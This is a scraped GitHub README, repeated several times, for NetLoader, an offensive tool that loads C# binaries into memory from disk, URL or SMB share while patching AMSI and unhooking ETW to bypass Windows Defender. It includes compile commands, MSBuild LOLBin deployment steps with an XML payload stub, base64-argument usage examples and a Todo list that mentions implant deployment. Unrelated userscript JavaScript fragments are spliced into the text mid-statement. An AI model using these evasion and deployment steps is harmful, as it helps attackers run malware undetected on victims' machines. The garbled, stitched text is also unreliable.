%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,008 seconds

Supports base64 inputs for those long strings that would usually break stuff!

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p
[!] ~Flangvik , ~Arno0x #NetLoader
[+] All arguments are Base64 encoded, decoding them on the fly
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,006 seconds

Todo

  • Automate the build and release of many of the Sharp Tools so they automagically appear in /BinariesSharpCollection (CDI / Azure DevOps)
  • Add support for non-interactive use (input args)
  • Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)
  • Add an working MSBuild XML payload for the LOLBins lovers (Myself included)
  • Update with credits and links to the github repos that /BinariesSharpCollection are compiled from

Credits

Arno0x for the partial rewrite that is now merged into the main repo see gist_RastaMouse for the AMSI bypass

About

Loads any C# binary in mem, patching AMSI and bypassing Windows Defender

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers"); } } catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
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NetLoader

Loads any C# binary from filepath or url, patching AMSI and unhooks ETW

** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**

Looking for binaries/payloads to deploy? Checkout SharpCollection!.
SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

Compile

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs

Deploy via LOLBin (MSBuild)

Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell. Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild

Adding arguments to the XML payload
public class ClassExample : Task, ITask
{
public override bool Execute()
{	//Add your arguments here SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" });
return true;
}
}
For 64 bit:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml
For 32 bit:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml

Usage

Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --path Seatbelt.exe --args whoami
[!] ~Flangvik , ~Arno0x #NetLoader
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,008 seconds

Supports base64 inputs for those long strings that would usually break stuff!

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p
[!] ~Flangvik , ~Arno0x #NetLoader
[+] All arguments are Base64 encoded, decoding them on the fly
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,006 seconds

Todo

  • Automate the build and release of many of the Sharp Tools so they automagically appear in /BinariesSharpCollection (CDI / Azure DevOps)
  • Add support for non-interactive use (input args)
  • Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)
  • Add an working MSBuild XML payload for the LOLBins lovers (Myself included)
  • Update with credits and links to the github repos that /BinariesSharpCollection are compiled from

Credits

Arno0x for the partial rewrite that is now merged into the main repo see gist_RastaMouse for the AMSI bypass

About

Loads any C# binary in mem, patching AMSI and bypassing Windows Defender

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode"); } } catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); } })(); })();
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NetLoader

Loads any C# binary from filepath or url, patching AMSI and unhooks ETW

** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**

Looking for binaries/payloads to deploy? Checkout SharpCollection!.
SharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

Compile

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:RandomName.exe Program.cs

Deploy via LOLBin (MSBuild)

Payload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell. Arguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild

Adding arguments to the XML payload
public class ClassExample : Task, ITask
{
public override bool Execute()
{	//Add your arguments here SoullikePrincelier.Main(new string[] { "--path", "\\smbshare\Seatbelt.exe" });
return true;
}
}
For 64 bit:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml
For 32 bit:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml

Usage

Deploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --path Seatbelt.exe --args whoami
[!] ~Flangvik , ~Arno0x #NetLoader
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,008 seconds

Supports base64 inputs for those long strings that would usually break stuff!

PS C:\Users\Clark Kent\Desktop> .\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p
[!] ~Flangvik , ~Arno0x #NetLoader
[+] All arguments are Base64 encoded, decoding them on the fly
[+] Successfully patched AMSI!
[+] URL/PATH : Seatbelt.exe
[+] Arguments : whoami
%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.0.0 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,
ERROR: Error running command "whoami"
[*] Completed collection in 0,006 seconds

Todo

  • Automate the build and release of many of the Sharp Tools so they automagically appear in /BinariesSharpCollection (CDI / Azure DevOps)
  • Add support for non-interactive use (input args)
  • Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)
  • Add an working MSBuild XML payload for the LOLBins lovers (Myself included)
  • Update with credits and links to the github repos that /BinariesSharpCollection are compiled from

Credits

Arno0x for the partial rewrite that is now merged into the main repo see gist_RastaMouse for the AMSI bypass

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Loads any C# binary in mem, patching AMSI and bypassing Windows Defender

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